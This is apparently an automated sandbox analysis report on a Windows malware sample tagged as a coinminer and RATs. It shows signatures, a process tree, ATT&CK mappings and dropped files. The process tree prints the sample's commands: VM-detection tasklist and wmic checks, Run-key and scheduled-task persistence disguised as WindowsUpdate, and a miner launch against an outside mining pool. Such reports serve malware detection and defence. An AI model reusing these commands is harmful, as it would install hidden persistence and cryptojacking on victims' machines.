Overview

overview

10

Static

static

3

2026-10-02...ch.exe

windows10-2004-x64

7

2026-10-02...ch.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 21:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-02_fe85fa3547bbaf7995d1ac167b3ce71b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 31.4MB
  • Sample261002-1cln7stdlb
  • SHA256 a7f450085213411bc9ebdab0278d55c0306f236ab04c6019200fb5a2f2596fa3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionxmrigminerpersistencespywaretrojan

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Executes dropped EXE 5 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Uses WMI to collect hardware manufacturer information 2 TTPs 1 IoCs

    Uses WMI to read the system manufacturer, model, baseboard or display adapter, which is often used to detect virtual machines and evade sandboxes.

    defense_evasion
  • Discovers running processes 1 TTPs 12 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Executes a command shell one-liner 1 TTPs 18 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies system certificate store 2 TTPs 1 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-02_fe85fa3547bbaf7995d1ac167b3ce71b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-02_fe85fa3547bbaf7995d1ac167b3ce71b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Modifies trusted root certificate store through registry
    • Reads the TCP/IP host and domain name from the registry
    • Enumerates system info in registry
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "wmic computersystem get manufacturer,model /value"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3264
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic computersystem get manufacturer,model /value
        3⤵
        • Uses WMI to collect hardware manufacturer information
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3884
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "wmic bios get manufacturer /value"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5688
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic bios get manufacturer /value
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4560
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq vboxservice.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4620
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq vboxservice.exe\"
        3⤵
        • Discovers running processes
        PID:2000
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq vboxtray.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1136
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq vboxtray.exe\"
        3⤵
        • Discovers running processes
        PID:5164
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq vmwaretray.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4296
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq vmwaretray.exe\"
        3⤵
        • Discovers running processes
        PID:2756
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq vmwareuser.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3152
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq vmwareuser.exe\"
        3⤵
        • Discovers running processes
        PID:5640
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq vmacthlp.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq vmacthlp.exe\"
        3⤵
        • Discovers running processes
        PID:4856
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq vmtoolsd.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:548
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq vmtoolsd.exe\"
        3⤵
        • Discovers running processes
        PID:1148
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq qemu-ga.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1708
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq qemu-ga.exe\"
        3⤵
        • Discovers running processes
        PID:4996
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq xenservice.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4628
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq xenservice.exe\"
        3⤵
        • Discovers running processes
        PID:2880
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq vmsrvc.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3080
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq vmsrvc.exe\"
        3⤵
        • Discovers running processes
        PID:3352
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq vmmem.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5680
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq vmmem.exe\"
        3⤵
        • Discovers running processes
        PID:4580
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq vmcompute.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2392
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq vmcompute.exe\"
        3⤵
        • Discovers running processes
        PID:1788
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "tasklist /fi \"IMAGENAME eq prl_tools.exe\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6132
      • C:\Windows\system32\tasklist.exe
        tasklist /fi \"IMAGENAME eq prl_tools.exe\"
        3⤵
        • Discovers running processes
        PID:3180
    • C:\Users\Admin\AppData\Local\Temp\2026-10-02_fe85fa3547bbaf7995d1ac167b3ce71b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
      C:\Users\Admin\AppData\Local\Temp\2026-10-02_fe85fa3547bbaf7995d1ac167b3ce71b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe --persist-worker
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:5700
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v WindowsUpdate /t REG_SZ /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\" /f"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4444
        • C:\Windows\system32\reg.exe
          reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v WindowsUpdate /t REG_SZ /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\" /f
          4⤵
            PID:3764
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\" /v WindowsUpdate /f"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4944
          • C:\Windows\system32\reg.exe
            reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\" /v WindowsUpdate /f
            4⤵
              PID:5664
          • C:\Windows\system32\cmd.exe
            cmd.exe /c "schtasks /create /tn \"WindowsUpdate\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc onlogon /rl limited /f"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4584
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn \"WindowsUpdate\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc onlogon /rl limited /f
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4056
          • C:\Windows\system32\cmd.exe
            cmd.exe /c "schtasks /create /tn \"WindowsUpdateHb\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc minute /mo 10 /f"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3356
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn \"WindowsUpdateHb\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc minute /mo 10 /f
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4420
        • C:\Users\Admin\AppData\Local\Temp\2026-10-02_fe85fa3547bbaf7995d1ac167b3ce71b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
          C:\Users\Admin\AppData\Local\Temp\2026-10-02_fe85fa3547bbaf7995d1ac167b3ce71b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe --guard 1624
          2⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          PID:3256
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
          2⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of FindShellTrayWindow
          PID:5252
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 1624 3256
          2⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          PID:3980
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe"
        1⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        PID:712

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            Windows Command Shell

            1
            T1059.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Windows Management Instrumentation

            1
            T1047

            Persistence

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Modify Registry

            1
            T1112

            Subvert Trust Controls

            2
            T1553

            Install Root Certificate

            2
            T1553.004

            Virtualization/Sandbox Evasion

            1
            T1497

            System Checks

            1
            T1497.001

            Credential Access

            Discovery

            Process Discovery

            1
            T1057

            Query Registry

            2
            T1012

            System Information Discovery

            1
            T1082

            System Network Configuration Discovery

            1
            T1016

            Virtualization/Sandbox Evasion

            1
            T1497

            System Checks

            1
            T1497.001

            Lateral Movement

            Collection

            Command and Control

            Web Service

            1
            T1102

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            2026-10-02_fe85fa3547bbaf7995d1ac167b3ce71b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
            • Path C:\Users\Admin\AppData\Local\Temp\2026-10-02_fe85fa3547bbaf7995d1ac167b3ce71b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
            • Size 31.4MB
            • SHA256 a7f450085213411bc9ebdab0278d55c0306f236ab04c6019200fb5a2f2596fa3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ak_debug.log
            • Path C:\Users\Admin\AppData\Local\Temp\ak_debug.log
            • Size 112B
            • SHA256 8926b7f2cbd16ab72de5e8bbcd54d005320fbfd55ef685828b58570db423093c
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Widgets.exe
            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe
            • Size 6.1MB
            • SHA256 ca28f4aeaa5e16d216cd828b67454a56f3c7feeb242412d26ed914fadff20d40
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/1624-1-0x00007FFC86320000-0x00007FFC86583000-memory.dmp
            Download

            memory/5252-16-0x000001AA9F4F0000-0x000001AA9F510000-memory.dmp
            Download